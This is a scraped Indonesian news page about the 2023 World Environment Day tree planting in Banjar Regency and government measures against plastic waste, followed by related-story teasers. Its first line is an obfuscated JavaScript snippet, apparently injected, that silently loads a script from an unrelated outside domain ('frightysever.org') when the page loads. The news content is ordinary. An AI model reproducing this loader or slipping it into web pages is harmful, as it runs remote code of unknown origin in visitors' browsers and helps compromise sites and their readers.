(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Peringatan Hari Lingkungan Hidup Sedunia tahun 2023 di Kabupaten Banjar diisi dengan penanaman bibit pohon zaitun, kurma, delima dan kacang sangha Ichi, Rabu (7/6/2023) di kawasan Air Santri Desa Murung Kenanga, Martapura Kabupaten Banjar.
Asisten Perenomian dan Pembangunan Swtda Banjar, Ikhwansyah, mewakili Bupati Banjad H Saidi Mansyur melakukan penanaman pohon bersama Pimpinan PLN IUD Kalselteng, perwakilan Kodim 1006 Banjar dan perwakilan Ketua Pengadilan Negeri Martapura.
Polusi plastik merupakan ancaman nyata bagi komunitas di seluruh dunia, diproyeksikan pada 2040 akan ada sekitar 29 juta ton plastik yang masuk ke ekosistem perairan. Oleh karena itu melalui peringatan Hari Lingkungan Hidup Sedunia tahun 2023 diharapkan semua pihak terlibat untuk bersama sama menemukan dan memperjuangkan solusi untuk mengatasi polusi plastik.
Baca juga: Hari Keamanan Pangan Sedunia 2023 ‘Standar Pangan, Menyelamatkan Hidup’
Sambutan tertulis dari Menteri Lingkungan Hidup dan Kehutanan RI Siti Nurbaya tersebut disampaikan Asisten Perekonomian dan Pembangunan Ikhwansyah saat membuka peringatan Hari Lingkungan Hidup Sedunia tahun 2023 pagi itu.
Lebih lanjut dia menerangkan bahwa di Indonesia pemerintah telah mengambil langkah untuk mengurangi sampah plastik melalui regulasi-regulasi seperti UU Nomor 18 tahun 2008 tentang pengelolaan sampah, Peraturan Pemerintah Nomor 81 tahun 2012 tentang pengelolaan sampah rumah tangga dan sejenisnya, serta Peraturan Pemerintah Nomor 27 tahun 2020 tentang pengelolaan sampah spesifik.
”Regulasi ini mencakup penanganan sampah mulai dari hulu hingga hilir dan berlaku bagi produsen, masyarakat umum dan pemerintah daerah,” ungkap dia.
Baca juga: 321 Calon Haji Kloter 8 dari HSU Dilepas Penuh Haru
Dia menambahkan, dalam mengurangi penggunaan plastik pemerintah daerah menggunakan langkah langkah seperti memberlakukan kebijakan yang mengatur penggunaan plastik sekali pakai, mengenakan pajak atau biaya tambahan pada plastik tertentu, serta memberikan intensif kepada industri untuk beralih ke bahan dan produk yang lebih berkelanjutan. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.